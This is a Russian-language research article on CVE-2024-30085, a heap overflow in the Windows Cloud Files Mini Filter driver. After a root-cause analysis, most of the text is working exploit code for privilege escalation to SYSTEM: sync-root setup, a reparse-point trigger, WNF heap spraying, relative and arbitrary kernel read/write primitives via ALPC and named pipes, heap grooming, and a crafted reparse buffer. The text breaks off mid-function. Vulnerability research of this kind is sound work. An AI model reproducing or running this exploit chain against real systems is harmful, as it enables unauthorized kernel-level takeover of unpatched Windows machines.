CVE-2024-30085 — это уязвимость в подсистеме Windows Cloud Files Mini Filter. Код подсистемы располагается в cldflt.sys — это драйвер минифильтра, и он относится к предустановленному клиенту облачного сервиса Microsoft OneDrive.

Уязвимость фигурировала на прошедшем в Ванкувере Pwn2Own 2024, где команда ресёрчеров Team Theori использовала эксплойт для этой уязвимости в цепочке эксплойтов, осуществляющих Guest-to-Host-Escape (побег из виртуальной машины) из-под управления VMware workstation, за что и получила свои заслуженные 13 очков Master of Pwn.

Соревнования по типу Pwn2Own и Matrix Cup помогают подсветить реально эксплуатируемые уязвимости, эксплойты для которых, как правило, не разглашаются (в результате чего образуется состояние known/unknown, когда известно, что эксплойт есть, но неизвестно, как он работает), и обратить на них особое внимание, ведь за подобными соревнованиями следим не только мы, но и злоумышленники.

В этой статье мы рассмотрим корни уязвимости CVE-2024-30085 и техники эксплуатации, применимые во время эксплуатации кучи в ядре Windows 10 22H2 19045.3803.

Оглавление

Минифильтры

cldflt.sys — это драйвер минифильтра Windows Cloud Files Mini Filter, задача которого представлять хранимые в облаке файлы и папки, как если бы они находились в компьютере.

 

Рисунок 1. Варианты представления файлов

Если вы никогда не сталкивались с минифильтрами, то вот что они из себя представляют.

Минифильтры на ядерном уровне перехватывают I/O-запросы (IRP-пакеты) к файловой системе и обрабатывают их в соответствии с назначением конкретного фильтра. Вот несколько примеров, какие фильтры могут существовать в системе:

  1. Минифильтры, устанавливаемые антивирусным ПО (сканируют и проверяют файлы).

  2. Минифильтры, устанавливаемые криптографическими средствами (шифруют/дешифруют файлы).

  3. Минифильтры облачных хранилищ.

Узнать, какие минифильтры есть в системе, можно через команду fltmc.

Рисунок 2. Вывод команды fltmc

Минифильтров много, и каждый I/O-запрос проходит через все фильтры. За порядок вызова отвечает filter manager.

На рисунке ниже вы можете видеть схематическое изображение пути I/O-запроса. Altitude — это приоритет, который определяет очередность вызова фильтров.

Рисунок 3. Диаграмма пути I/O-запроса к файловой системе. Источник: https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/filter-manager-concepts

Минифильтры регистрируют свои preoperation- и postoperation-колбэки. И когда приходит I/O-запрос, сначала вызываются preoperation-колбэки в порядке A, B, C, а потом postoperation в порядке C, B, A. Таким образом происходит обработка запроса.

Колбэки регистрируются через массив структур FLT_OPERATION_REGISTRATION Callbacks[]. Вот так это выглядит на примере минифильтра miniSpy:

CONST FLT_OPERATION_REGISTRATION Callbacks[] = {
    { IRP_MJ_CREATE,
      0,
      SpyPreOperationCallback,
      SpyPostOperationCallback },
…

Если встретите код минифильтра, колбэки нужно искать в этом массиве.

Рисунок 4. Обработка IRP_MJ_CREATE

И когда происходит вызов метода NtCreateFile в каком-нибудь приложении, запрос IRP_MJ_CREATE обрабатывается в SpyPreOperationCallback и SpyPostOperationCallback.

Структуры и методы для создания минифильтров можно найти в fltkernel.h. Еще больше примеров драйверов здесь.

Windows Cloud Files Mini Filter

В драйвере этого минифильтра существовала ошибка CWE-122: Heap-based Buffer Overflow (переполнение на куче), возникающая в результате некорректной проверки данных, поступающих из Reparse Point.

Reparse Point — это буфер, который хранит дополнительную информацию о файле. Что это и зачем нужно, проще всего показать на примере.

Некоторые файлы, которые отображаются в системе, могут и не существовать на самом деле или могут располагаться совсем в другом месте. Самый простой пример — символьные ссылки.

Или, например, в Windows 10 появился механизм, который сжимает системные файлы для экономии места, хотя снаружи они выглядят как обычно. Их извлечением занимается минифильтр Windows Overlay Filter (WOF).

В обоих примерах реальное расположение файла или его представление в сжатом виде хранится в Reparse Point.

Вот так выглядит этот буфер для символьной ссылки.

Рисунок 5. Reparse point символьной ссылки

А Windows Cloud Files Mini Filter использует его для представления файлов, хранимых в облаке, в виде заглушки. Самого файла нет, но информация о нем есть в Reparse Point.

Рисунок 6. Варианты представления файла

Reparse Point можно создать не только для файлов, но и для папок. Что и будет использоваться для вызова переполнения и эксплуатации.

Root Cause Analysis

Переполнение происходило в результате работы колбэка HsmFltPostCREATE, который обрабатывает Reparse Point созданного файла в облачной папке.

Рисунок 7. Crash

В процессе реверса выяснилось, что структуру Reparse Point для Windows Cloud Files Mini Filter можно описать следующим образом:

typedef struct _ITEM {
    WORD Code;
    WORD Size;
    DWORD Offset;
} ITEM;

typedef struct _REPARSE_CLD_BITMAP {
    DWORD Tag;
    DWORD Crc32;
    DWORD Size;
    WORD Flags;
    WORD NumBtmpItems;
    ITEM Items[0x5];
    BYTE ItemBtmpData0;
    BYTE ItemBtmpData1;
    BYTE ItemBtmpData2;
    UINT64 ItemBtmpData3;
    BYTE ItemBtmpData4[0x1000];
} REPARSE_CLD_BITMAP, * PREPARSE_CLD_BITMAP;

typedef struct _REPARSE_CLD_BUFFER {
    DWORD Tag_pRef;
    DWORD Crc32;
    DWORD Size;
    WORD Reserved;
    WORD NumCldItems;
    ITEM Items[0xA];
    BYTE ItemData0;
    DWORD ItemData1;
    UINT64 ItemData2;
    UINT64 ItemData3;
    REPARSE_CLD_BITMAP bitmap0;
    REPARSE_CLD_BITMAP bitmap1;
    REPARSE_CLD_BITMAP bitmap2;
    UINT64 ItemData7;
    UINT64 ItemData8;
    DWORD ItemData9;
} REPARSE_CLD_BUFFER, *PREPARSE_CLD_BUFFER;

typedef struct _REPARSE_DATA_BUFFER {
    DWORD ReparseTag;
    WORD ReparseDataLength;
    WORD Reserved;
    WORD Flags;
    WORD UncompressedSize;
    REPARSE_CLD_BUFFER ReparseCldBuffer;
} REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER;

Как видно, у Reparse Point есть поля ReparseCldBuffer.bitmap{1,2,3}, которые, в свою очередь, имеют поле ItemBtmpData4 размером 0x1000 байт. Для чего именно нужны эти битмапы, неизвестно, но для целей эксплуатации это и не требуется.

И оказалось, что, манипулируя остальными полями, можно добиться переполнения блока памяти, который выделялся под ItemBtmpData4 у любого из ReparseCldBuffer.bitmap{1,2,3}. Рассмотрим подробнее.

Аллокация 0x1000 байт и копирование ItemBtmpData4 в эту память происходят в функции HsmIBitmapNORMALOpen:

Рисунок 8. HsmIBitmapNORMALOpen, выделение 0x1000 байт, копирование туда >0x1000 байт

Проверка переменной bitmap_size происходит в функции HsmpBitmapIsReparseBufferSupported, и она возвращает ошибку, если размер больше чем 0x1000.

Рисунок 9. Проверка размера битмапа в функции HsmpBitmapIsReparseBufferSupported

Однако в той же функции еще до проверки bitmap_size проверялось поле bitmap->ItemBtmpData2. Если оно было нулевым, то функция пропускала последующие проверки и данные оказывались валидными.

Рисунок 10. Пропуск проверок

Так как битмапов можно сделать до трех, то и переполнений тоже может быть три. Однако для эксплуатации хватит и одного.

Эксплуатация

Подготовка

По умолчанию на свежей системе минифильтр Windows Cloud Files Mini Filter (CldFlt) отключен. Чтобы включить его и настроить на нужную папку, нужно воспользоваться Cloud API, а именно функцией CfRegisterSyncRoot.

#include <cfapi.h>
BOOL RegisterSyncRoot(LPCWSTR dir) {
    CF_SYNC_REGISTRATION reg = { 0 };
    reg.StructSize = sizeof(reg);
    reg.ProviderName = L"test";
    reg.ProviderVersion = L"1.0";
    reg.ProviderId = { 0xB196E670, 0x59C7, 0x4D41, { 0 } };
    CF_SYNC_POLICIES policies = { 0 };
    policies.StructSize = sizeof(policies);
    policies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
    policies.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
    policies.InSync = CF_INSYNC_POLICY_NONE;
    policies.Population.Primary = CF_POPULATION_POLICY_PARTIAL;
    NTSTATUS ntRet = CfRegisterSyncRoot(dir, &reg, &policies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);
    if (!NT_SUCCESS(ntRet)) {
        printf("[-] CfRegisterSyncRoot failed\n");
        return false;
    }
    return true;
}

Через этот метод папка dir подключается к минифильтру. Удобно разместить ее в C:\Users\Public.

 Чтобы убедиться, что CldFlt включился, можно воспользоваться командой fltmc instances.

Рисунок 11 Список минифильтров в системе

Далее необходимо установить для папки Reparse Point, тогда он попадет в HsmFltPostCREATE, где будет обработан и вызовет переполнение. Установить можно так:

void trigger(LPCWSTR dir, BYTE* data, DWORD dataLength) {
    ULONG returned;
    BOOL status;
    HANDLE hOverwrite;

    hOverwrite = CreateFileW(
        dir,
        GENERIC_ALL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED,
        NULL
    );

    if (FAILED(hOverwrite)) {
        printf("[-] trigger failed: CreateFileW\n");
    }

    status = DeviceIoControl(
        hOverwrite,
        FSCTL_SET_REPARSE_POINT,
        data,
        dataLength,
        NULL,
        0,
        &returned,
        NULL
    );

    if (!status) {
        printf("[-] trigger failed: DeviceIoControl\n");
    }

    CloseHandle(hOverwrite);

    return;
}

Здесь data — это содержимое Reparse Point, dataLength — размер данных.

 Теперь приступим к самому интересному: создадим такой Reparse Point, через который повысим привилегии до уровня SYSTEM.

Craft Reparse Point

Выше приводилась структура Reparse Point, но так она должна выглядеть для нормального использования. Добавим в нее поле для данных, которые будут переполнять память. Точнее, править будем тип REPARSE_CLD_BITMAP, остальная структура останется прежней:

typedef struct _WNF_DATA {
    UINT32 header;
    UINT32 allocated_size;
    UINT32 data_size;
    UINT32 change_stamp;
} WNF_DATA, * PWNF_DATA;

typedef struct _REPARSE_CLD_BITMAP {
    DWORD Tag;
    DWORD Crc32;
    DWORD Size;
    WORD Flags;
    WORD NumBtmpItems;
    ITEM Items[0x5];
    BYTE ItemBtmpData0;
    BYTE ItemBtmpData1;
    BYTE ItemBtmpData2;
    UINT64 ItemBtmpData3;
    BYTE ItemBtmpData4[0x1000];
    WNF_DATA wnfData;
} REPARSE_CLD_BITMAP, * PREPARSE_CLD_BITMAP;

То есть здесь добавилось поле wnfData размером 0x10 байт.

 Дело в том, что благодаря переполнению мы получаем возможность залезть в соседний c ItemBtmpData4 блок памяти. И поэтому необходимо разместить там какие-нибудь интересные объекты, переписав свойства которых мы получим примитивы на чтение и запись.

 Критерии выбора объектов такие:

  1. Возможность поместить их в блок размером 0x1000, чтобы уложить их рядом с битмапом.

  2. Возможность удалять такие объекты, чтобы создавать в хипе дыры, на которые встанет битмап.

  3. Существование методов для чтения и записи из буферов, которые хранятся внутри этих объектов.

Наш эксплойт использует WNF и ALPC подсистемы.

У них удобное API для размещения в памяти ядра объектов произвольного размера, но у обоих есть разные проблемы с пунктами 2 и 3. Поэтому они идут в связке, чтобы компенсировать недостатки друг друга.

Разберем по отдельности, что такое WNF и ALPC.

WNF (Windows Notification Facility)

WNF — это механизм уведомлений, который реализует схему publisher/subscriber. Одна программа подписывается на какие-нибудь события из другой. Механизм должен был послужить основой для реализации push-уведомлений, аналогичных iOS/Android.

В контексте эксплуатации WNF важен тем, что позволяет создавать объекты произвольного размера в ядре. И через него можно сделать относительные примитивы на чтение/запись, чем мы и воспользуемся.

Больше подробностей на разных ресурсах

Создание объектов произвольного размера

std::map<UINT32, ULONG64> g_wnfNames;
UINT32 g_wnfNamesIt = 0;

BOOL WnfCreateChunk() {
	ULONG64 ns;
	WNF_STATE_NAME_LIFETIME NameLifetime = WnfTemporaryStateName;
	WNF_DATA_SCOPE DataScope = WnfDataScopeMachine;

	SECURITY_DESCRIPTOR* sd = (SECURITY_DESCRIPTOR*)malloc(sizeof(SECURITY_DESCRIPTOR));
	memset(sd, 0, sizeof(SECURITY_DESCRIPTOR));
	sd->Revision = 0x1;
	sd->Sbz1 = 0;
	sd->Control = 0x000000800c;
	sd->Owner = NULL;
	sd->Group = (PSID)0;
	sd->Sacl = (PACL)0;
	sd->Dacl = (PACL)0;

	UINT32 wnfHeaderSize = 0x10;
	UINT32 wnfChunkSize = 0x1000;
	UINT32 wnfDataSize = wnfChunkSize - wnfHeaderSize;
	std::vector<UINT8> buf;
	buf.reserve(wnfDataSize);

	INT32 r1 = 0, r2 = 0;

	r1 = _NtCreateWnfStateName(&ns, WnfTemporaryStateName, WnfDataScopeUser, FALSE, 0, 0x1000, sd);
	r2 = _NtUpdateWnfStateData(&ns, buf.data(), wnfDataSize, 0, NULL, 0, 0);

	g_wnfNames[g_wnfNamesIt++] = ns;

	if (r1 != 0 || r2 != 0) {
		printf("[-] wnfCreateChunk failed with codes r1: %lx, r2: %lx\n", r1, r2);
		return false;
	}
	
	return true;
}

Эта функция создает объект WNF_NAME_INSTANCE в ядре, ядро выдает идентификатор ns, который сохраняется в глобальном массиве g_wnfNames.

Сам объект WNF_NAME_INSTANCE имеет размер всего 0xa8, но у него есть поле WNF_STATE_DATA, у которого размер произволен и в нашем конкретном случае равен 0x1000. 0x10 байт составляют служебные поля, остальные 0xff0 — данные.

Рисунок 12. Структура WNF

Относительные примитивы

Самые интересные поля — это AllocatedSize и DataSize.

Переполнив их, появляется возможность читать и писать за пределами массива Data. Но есть минус: писать можно только за ним и не больше чем 0x1000 байт.

Так как блоки памяти выделяются по случайным адресам, то, чтобы битмап встал рядом с WNF_STATE_DATA и переполнил его, понадобится очень много объектов WNF_NAME_INSTANCE. Какой-то из них будет захвачен с большой долей вероятности. Поэтому в коде присутствует массив g_wnfNames.

А ограниченные примитивы на чтение и запись выглядят так:

BOOL WnfRelativeRead(INT32 wnfCorrupted, UINT8* buf, ULONG* bufSz) {
	WNF_CHANGE_STAMP stamp = 0;
	INT32 r = _NtQueryWnfStateData(&(wnfNames[wnfCorrupted]), NULL, NULL, &stamp, buf, bufSz);
	return r == 0;
}
BOOL WnfRelativeWrite(INT32 wnfCorrupted, UINT8* buf, ULONG bufSz) {
	INT32 r = _NtUpdateWnfStateData(&(wnfNames[wnfCorrupted]), buf, bufSz, 0, NULL, 0, 0);
	return r == 0;
}

Здесь wnfCorrupted — это индекс объекта WNF_NAME_INSTANCE с переполненным полем WNF_STATE_DATA.

Чтобы выяснить, какой объект из массива нужный, надо воспользоваться кодом:

INT32 WnfFindCorruptedName(UINT32 wnfNamesCount) {
	WNF_CHANGE_STAMP stamp = 0;
	ULONG legitBufSize = 0xff0;
	ULONG delta = 0x1;
	ULONG overflowenBufSize = legitBufSize + delta;
	UINT32 status = 0;

	std::vector<UINT8> buf;
	buf.reserve(overflowenBufSize);

	for (UINT32 i = 0; i < wnfNamesCount; i++) {
		if (!wnfNames[i]) {
			continue;
		}
		status = _NtQueryWnfStateData(&(wnfNames[i]), NULL, NULL, &stamp, buf.data(), &overflowenBufSize);
		overflowenBufSize = legitBufSize + delta;

		if (status == BUFFER_TOO_SMALL) {
			return i;
		}
	}

	return -1;
}

NtQueryWnfStateData возвращает данные из массива WNF_STATE_DATA.Data в буфер buf. Внутри ядра эту работу выполняет функция ExpWnfReadStateData. Если передать в NtQueryWnfStateData массив, размер которого меньше, чем WNF_STATE_DATA.Data, то сработает защита от переполнения.

Рисунок 13 Откуда берется ошибка BUFFER_TOO_SMALL

На этой особенности и строится детект: объект WNF_NAME_INSTANCE, который не сможет записать данные из WNF_STATE_DATA.Data в большой буфер, — искомый.

Весь объект WNF_STATE_DATA занимает 0x1000 байт, 0x10 — это заголовок, размер данных — 0xff0. Значит, данные должны уместиться в любой буфер, размер которого >= 0xff0. Единственная причина, почему места может не хватить, — это объект WNF_STATE_DATA с DataSize > 0xff0. А такое поле есть только у искомого объекта.

В результате переполнения в WNF_STATE_DATA.DataSize будет 0xff0 + 0x10, потому что этого будет достаточно, чтобы добраться до ALPC, но об этом позже.

Удаление объектов

Удаляются объекты через функцию _NtDeleteWnfStateData:

BOOL WnfDeleteChunk(UINT32 wnfNameIndex) {
	ULONG32 r = _NtDeleteWnfStateData(&(wnfNames[wnfNameIndex]), NULL);
	if (r != 0) {
		printf("[-] wnfDeleteChunk r: %llx, wnf_name_index: %d\n", r, wnfNameIndex);
		return false;
	}
	wnfNames[wnfNameIndex] = 0x0;
	return true;
}

Таким образом, через WNF можно:

  1. Создавать в ядерной памяти объекты WNF_STATE_DATA произвольного размера.

  2. Читать/писать до 0x1000 байт за пределами массива WNF_STATE_DATA.Data.

  3. Удобно удалять объекты.

Это все понадобится, чтобы добраться до объектов ALPC и сделать полноценные примитивы на чтение и запись.

ALPC (Asynchronous Local Procedure Call)

ALPC — это механизм межпроцессного взаимодействия, пришедший на смену LPC. Он недокументированный и не предназначен для использования в разработке. Однако он разобран энтузиастами и обладает интересными возможностями, которые помогают эксплуатировать ядерные уязвимости.

Большая часть кода по работе с ALPC взята нами из работы Нассима Асрира CVE-2023-36424. Все необходимые типы лежат там. Там также есть код, через который можно слить адреса ядерной памяти.

Подробный разбор про сам ALPC есть, например, здесь:

https://csandker.io/2022/05/24/Offensive-Windows-IPC-3-ALPC.html

В этой статье коснемся только основных особенностей. Снова про создание объектов произвольного размера и примитивы.

Создание объектов произвольного размера

Главные объекты ALPC — это порты, по поведению похожие на сокеты. В ядерном пространстве располагается порт соединения, и он связывает клиентский порт с серверным для их коммуникации.

Рисунок 14. Порты ALPC

У серверного порта внутри есть таблица для входящих и исходящих сообщений.

Рисунок 15. ALPCHANDLE_ENTRY

На рисунке — тип ALPC_HANDLE_ENTRY, таблица хэндлов для сообщений. Она может быть произвольного размера, что поможет создавать блоки размером 0x1000 байт.

Каждый хэндл хранит адрес буфера, в который ядро пишет и из которого читает сообщения для сервера. Обе операции дергаются через метод NtAlpcSendWaitReceivePort. Подменив какой-либо хэндл на свой, мы получим возможность читать и писать в буфер этого хэндла.

И у ALPC есть огромный плюс — хэндл может быть из userspace, что очень удобно. 

Получается, что нужно создать фейковый объект типа _KALPC_RESERVE и через цепочку переполнений прописать его адрес в таблице _ALPC_HANDLE_ENTRY по индексу 0, например. Попробуем это сделать.

Серверный порт создается так:

BOOL CreateALPCPort(HANDLE* phPorts, UINT portIndex) {
	ALPC_PORT_ATTRIBUTES serverPortAttr;
	OBJECT_ATTRIBUTES    oaPort;
	HANDLE               hPort;
	NTSTATUS             ntRet;
	UNICODE_STRING       usPortName;
	WCHAR				 wszPortName[64];

	swprintf_s(wszPortName, sizeof(wszPortName) / sizeof(WCHAR), L"\\RPC Control\\%s%d", g_wszPortPrefix, portIndex);
	RtlInitUnicodeString(&usPortName, wszPortName);
	InitializeObjectAttributes(&oaPort, &usPortName, 0, 0, 0);
	RtlSecureZeroMemory(&serverPortAttr, sizeof(serverPortAttr));
	serverPortAttr.MaxMessageLength = MAX_MSG_LEN;
	ntRet = NtAlpcCreatePort(&phPorts[portIndex], &oaPort, &serverPortAttr);
	if (!NT_SUCCESS(ntRet))
		return FALSE;

	return TRUE;
}

Эта функция определяет имя порта и вызывает метод NtAlpcCreatePort, который возвращает идентификатор и сохраняет его в массиве, так как портов будет много. Причина такая же, как и в случае с WNF, — борьба с рандомизацией адресов.

Клиенты теперь могут отправлять сообщения по адресу wszPortName. На самом деле, для нас это неважно, так как клиентов не будет. Но через CVE-2024-30085 и WNF мы заставим ALPC считать, что по произвольному адресу в ядерной памяти лежит сообщение для сервера, и попросим или выдать информацию оттуда, или записать туда нашу.

Таблица _ALPC_HANDLE_ENTRY должна быть размером 0x1000 байт, и вот как заставить ядро создать ее:

BOOL AllocateALPCReserveHandle(HANDLE* phPorts, UINT portIndex, UINT reservesCount) {
	HANDLE hPort;
	HANDLE hResource;
	NTSTATUS ntRet;

	hPort = phPorts[portIndex];
	for (UINT j = 0; j < reservesCount; j++) {
		ntRet = NtAlpcCreateResourceReserve(hPort, 0, 0x28, &hResource);
		if (!NT_SUCCESS(ntRet)) {
			printf("[-] AllocateALPCReserveHandle failed with %lx code\n", ntRet);
			return FALSE;
		}	
		if (g_hResource == NULL) {	// save only the very first
			g_hResource = hResource;
		}
	}
	return TRUE;
}

BOOL AlpcCreateChunk(UINT32 port_index) {
	BOOL bRet;

	bRet = CreateALPCPort(gports, port_index);
	if (!bRet) {
		printf("[-] CreateALPCPorts failed\n");
		return false;
	}

	CONST ULONG poolAlHaSize = 0x1000;
	CONST ULONG reservesCount = (poolAlHaSize / 2) / sizeof(ULONG_PTR) + 1;

	bRet = AllocateALPCReserveHandle(gports, port_index, reservesCount);
	if (!bRet) {
		printf("[-] AllocateALPCReserveHandle failed\n");
		return false;
	}

	return true;
}

Таблица удваивается каждый раз, когда заканчивается место, поэтому нужно зарезервировать (0x1000 / 2 /sizeof(ULONG_PTR)) + 1 хэндлов.

Полноценный примитив на запись

Предположим, что мы создали множество портов и контролируем нулевой хэндл нулевого порта в _ALPC_HANDLE_ENTRY.

Тогда примитив на запись будет выглядеть так:

KALPC_RESERVE* gfakeKalpcReserve;
KALPC_MESSAGE* gfakeKalpcMessage;
BYTE* gfakeKalpcReserveObject;
BYTE* gfakeKalpcMessageObject;

BYTE* AlpcGetFakeMessage() {
	return (BYTE*)gfakeKalpcReserve;
}

void AlpcMakeFakeMessage() {
	gfakeKalpcReserveObject = (BYTE*)calloc(1, sizeof(KALPC_RESERVE) + 0x20);
	gfakeKalpcMessageObject = (BYTE*)calloc(1, sizeof(KALPC_MESSAGE) + 0x20);
	gfakeKalpcReserve = (KALPC_RESERVE*)(gfakeKalpcReserveObject + 0x20);
	gfakeKalpcMessage = (KALPC_MESSAGE*)(gfakeKalpcMessageObject + 0x20);

	gfakeKalpcReserveObject[1] = 0x7;
	gfakeKalpcReserveObject[8] = 0x1;
	gfakeKalpcMessageObject[8] = 0x1;

	gfakeKalpcReserve->Size = 0x28;
	gfakeKalpcReserve->Message = gfakeKalpcMessage;

	gfakeKalpcMessage->Reserve = gfakeKalpcReserve;

	galpcMessage = (ALPC_MESSAGE*)calloc(1, sizeof(ALPC_MESSAGE));

}

BOOL AlpcArbitraryWrite(UINT32 portsCount, BYTE* addr, BYTE* buf, UINT32 bufSz) {
	NTSTATUS ntRet;

	memset(gfakeKalpcReserveObject, 0, sizeof(KALPC_RESERVE) + 0x20);
	memset(gfakeKalpcMessageObject, 0, sizeof(KALPC_MESSAGE) + 0x20);
	gfakeKalpcReserveObject[1] = 0x7;
	gfakeKalpcReserveObject[8] = 0x1;
	gfakeKalpcMessageObject[8] = 0x1;

	gfakeKalpcReserve->Size = 0x28;
	gfakeKalpcReserve->Message = gfakeKalpcMessage;
	gfakeKalpcMessage->Reserve = gfakeKalpcReserve;

	gfakeKalpcMessage->ExtensionBuffer = addr;
	gfakeKalpcMessage->ExtensionBufferSize = bufSz;

	ULONG DataLength = bufSz;
	memset(galpcMessage, 0, sizeof(ALPC_MESSAGE));
	galpcMessage->PortHeader.u1.s1.DataLength = DataLength;
	galpcMessage->PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + DataLength;
	galpcMessage->PortHeader.MessageId = (ULONG)g_hResource;
	ULONG_PTR* pAlpcMsgData = (ULONG_PTR*)((BYTE*)galpcMessage + sizeof(PORT_MESSAGE));

	memcpy(pAlpcMsgData, buf, bufSz);

	for (int i = 0; i < portsCount; i++) {
		ntRet = NtAlpcSendWaitReceivePort(gports[i], ALPC_MSGFLG_NONE, (PPORT_MESSAGE)galpcMessage, NULL, NULL, NULL, NULL, NULL);
		
	}
	return true;
}

Отправка сообщения идет через метод NtAlpcSendWaitReceivePort в цикле по всем портам. Дело в том, что мы заранее не будем знать, какой порт захватили, знаем только, что он где-то там. Поэтому производится массированное обращение по всем портам.

Полноценный примитив на чтение

Вызов NtAlpcSendWaitReceivePort на чтение — блокирующий, и непонятно, как сообщить ядру, что данные готовы к отправке. Поэтому этот примитив работает по-другому — через примитив на запись и пайп:

BOOL AlpcArbitraryRead(UINT32 portsCount, ULONG_PTR pipeAttributeAddr, ULONG_PTR addr, BYTE* buf, UINT32 bufSz) {
	BOOL bRet;
	CHAR pipeName[] = "xxx";

	UINT32 pipeValueOffset = 0x20;
	ULONG_PTR pipeValueAddr = pipeAttributeAddr + pipeValueOffset;
	ULONG_PTR* payload = (ULONG_PTR*)calloc(2, 8);

	payload[0] = addr;
	payload[1] = 0x00787878; //xxx\x00

	if (!AlpcArbitraryWrite(portsCount, (BYTE*)pipeValueAddr, (BYTE*)payload, 0x10)) {
		printf("[-] AlpcArbitraryRead failed: AlpcArbitraryWrite\n");
		//return false;
	}

	bRet = PipeReadAttr(pipeName, buf, bufSz);
	if (!bRet) {
		printf("[-] AlpcArbitraryRead failed: PipeReadAttr\n");
		return false;
	}

	return true;

}

Схема такая:

  1. Создается пайп с атрибутом.

  2. Адрес значения атрибута подменяется на свой адрес.

  3. Читая атрибут, в ответ получаем содержание адреса.

А выяснить, по какому адресу лежит пайп, можно через утечку.

ALPC очень удобный механизм, но у него нет такого же удобного способа удалять объекты, как у WNF, а без этого не подготовить память так, чтобы проэксплуатировать ее. Поэтому используется связка WNF + ALPC. WNF — это посредник, чтобы добраться до ALPC ради его интересных качеств.

Рисунок 16. Ключевые структуры (красным выделены переполняемые поля)

LPE

Чтобы разместить битмап, WNF и ALPC рядом и не позволить рандомизации помешать этому, воспользуемся алгоритмом:

  1. Размещаем наборы из двух объектов WNF_STATE_DATA и одного ALPC_HANDLE_ENTRY примерно 5000 раз.

  2. Удаляем каждый первый WNF_STATE_DATA в наборе.

  3. Размещаем битмап, который должен будет встать на одно из освободившихся мест.

Таким образом, все объекты с большой долей вероятности будут расположены рядом.

Рисунок 17. Как должны располагаться объекты в памяти

В результате через переполнение в обработке битмапа мы получаем контроль над _WNF_STATE_DATA, который позволяет переполнить лежащий за ним объект _ALPC_HANDLE_ENTRY.

В коде это выглядит так:

UINT32 portsCount = 5000;
UINT32  I;
for (i = 0; i < portsCount; i++) {
    if (!WnfCreateChunk())
        break;
    if (!WnfCreateChunk())
        break;
    if (!AlpcCreateChunk(i))
        break;
}
printf("[*] Created %d chunks\n", i);

if (i != portsCount) {
    printf("[-] Creating chunks are failed\n");
    return -1;
}

// create holes
for (UINT32 i = 4000; i < portsCount; i += 2) {
    if (!WnfDeleteChunk(i)) {
        return -1;
    }
}

Правильно заполненный Reparse Point выглядит так:

void createReparsePoint(PREPARSE_DATA_BUFFER pReparseDataBuffer, size_t ReparseDataBufferLength) {
    pReparseDataBuffer->ReparseTag = 0x9000301a;
    pReparseDataBuffer->ReparseDataLength = ReparseDataBufferLength - sizeof(DWORD) - 2 * sizeof(WORD);
    pReparseDataBuffer->Reserved = 0x00;
    pReparseDataBuffer->Flags = 0x1;
    pReparseDataBuffer->UncompressedSize = 0xAA; // no matter

    PREPARSE_CLD_BUFFER pReparseCldBuffer = &pReparseDataBuffer->ReparseCldBuffer;

    pReparseCldBuffer->Tag_pRef = 0x70526546;
    pReparseCldBuffer->Size = pReparseDataBuffer->ReparseDataLength - 2 * sizeof(WORD);
    pReparseCldBuffer->Reserved = 0x2;
    pReparseCldBuffer->NumCldItems = 0xa;

    pReparseCldBuffer->Items[0].Code = 0x7;
    pReparseCldBuffer->Items[0].Size = 0x1;
    pReparseCldBuffer->Items[0].Offset = (BYTE*)&pReparseCldBuffer->ItemData0 - (BYTE*)&pReparseCldBuffer->Tag_pRef;

    pReparseCldBuffer->Items[1].Code = 0xa;
    pReparseCldBuffer->Items[1].Size = 0x4;
    pReparseCldBuffer->Items[1].Offset = pReparseCldBuffer->Items[0].Offset + pReparseCldBuffer->Items[0].Size;

    pReparseCldBuffer->Items[2].Code = 0x6;
    pReparseCldBuffer->Items[2].Size = 0x8;
    pReparseCldBuffer->Items[2].Offset = pReparseCldBuffer->Items[1].Offset + pReparseCldBuffer->Items[1].Size;

    pReparseCldBuffer->Items[3].Code = 0x11;
    pReparseCldBuffer->Items[3].Size = 0x8;
    pReparseCldBuffer->Items[3].Offset = pReparseCldBuffer->Items[2].Offset + pReparseCldBuffer->Items[2].Size;


    pReparseCldBuffer->Items[4].Code = 0x11;
    pReparseCldBuffer->Items[4].Size = sizeof(REPARSE_CLD_BITMAP);
    pReparseCldBuffer->Items[4].Offset = pReparseCldBuffer->Items[3].Offset + pReparseCldBuffer->Items[3].Size;

    pReparseCldBuffer->Items[5].Code = 0x11-1;
    pReparseCldBuffer->Items[5].Size = sizeof(REPARSE_CLD_BITMAP);
    pReparseCldBuffer->Items[5].Offset = pReparseCldBuffer->Items[4].Offset + pReparseCldBuffer->Items[4].Size;

    pReparseCldBuffer->Items[6].Code = 0x11-1;
    pReparseCldBuffer->Items[6].Size = sizeof(REPARSE_CLD_BITMAP);
    pReparseCldBuffer->Items[6].Offset = pReparseCldBuffer->Items[5].Offset + pReparseCldBuffer->Items[5].Size;


    pReparseCldBuffer->Items[7].Code = 0x6;
    pReparseCldBuffer->Items[7].Size = 0x8;
    pReparseCldBuffer->Items[7].Offset = pReparseCldBuffer->Items[6].Offset + pReparseCldBuffer->Items[6].Size;

    pReparseCldBuffer->Items[8].Code = 0x6;
    pReparseCldBuffer->Items[8].Size = 0x8;
    pReparseCldBuffer->Items[8].Offset = pReparseCldBuffer->Items[7].Offset + pReparseCldBuffer->Items[7].Size;

    pReparseCldBuffer->Items[9].Code = 0xa;
    pReparseCldBuffer->Items[9].Size = 0x4;
    pReparseCldBuffer->Items[9].Offset = pReparseCldBuffer->Items[8].Offset + pReparseCldBuffer->Items[8].Size;

    pReparseCldBuffer->ItemData0 = 0x0; // <=1
    pReparseCldBuffer->ItemData1 = 0xffffffe5;
    pReparseCldBuffer->ItemData2 = 0xeeeeeeeeeeeeeee1; // no matter
    pReparseCldBuffer->ItemData3 = 0xbbbbbbbbbbbbbbbb; // no matter
    pReparseCldBuffer->ItemData7 = 0xffffffffffffffff; // no matter
    pReparseCldBuffer->ItemData8 = 0xdddddddddddddddd; // no matter
    pReparseCldBuffer->ItemData9 = 0x33333333; // no matter
}

void createBitmap(PREPARSE_CLD_BITMAP bitmap) {
    bitmap->Tag = 0x70527442;
    bitmap->Size = sizeof(REPARSE_CLD_BITMAP);
    bitmap->Flags = 0x2;
    bitmap->NumBtmpItems = 0x5;

    bitmap->Items[0].Code = 0x7;
